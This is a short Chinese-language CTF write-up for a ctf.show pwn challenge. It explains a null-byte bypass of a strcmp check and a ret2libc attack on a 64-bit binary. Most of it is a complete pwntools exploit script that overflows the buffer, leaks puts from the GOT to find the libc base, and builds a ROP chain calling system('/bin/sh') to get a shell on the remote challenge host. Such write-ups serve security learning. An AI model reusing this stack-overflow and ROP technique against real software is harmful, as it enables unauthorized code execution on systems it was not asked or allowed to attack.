checksec:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位开启了NX保护,可以用ret2libc的方法,首先泄露出puts的真实地址,然后调用system()
即可。
开头会对输入的字符进行ctfshow()
函数的处理,该函数的内容如下:
__int64 __fastcall ctfshow(const char *a1)
{
return (unsigned int)strcmp(a1, "36D");
}
strcmp对接收的字符进行比较,遇到\x00
会被截断,所以输入"36D"后,再输入'\x00',即可绕过字符串比较。最终exp如下:
from pwn import *
elf = ELF('./pwn')
local = 0
if local == 1:
io = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
io = remote('pwn.challenge.ctf.show',28175)
libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')
puts_got = elf.got['puts']
puts_plt = elf.symbols['puts']
main_addr = elf.symbols['main']
rdi_addr = 0x0000000000400803
ret = 0x000000000040028a
payload = '36D\x00'+'a'*(0x380-4)+p64(0xdeadbeef)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil("qunzhu\n\n")
io.sendline(payload)
io.recvuntil("36D\n")
puts_addr = u64(io.recv(6)+'\x00\x00')
log.success("puts_addr:"+hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + libc.search('/bin/sh').next()
payload2 = '36D\x00'+'a'*(0x380-4)+p64(0xdeadbeef)+p64(ret)+p64(rdi_addr)+p64(bin_addr)+p64(system_addr)
io.recvuntil("qunzhu\n\n")
io.sendline(payload2)
io.interactive()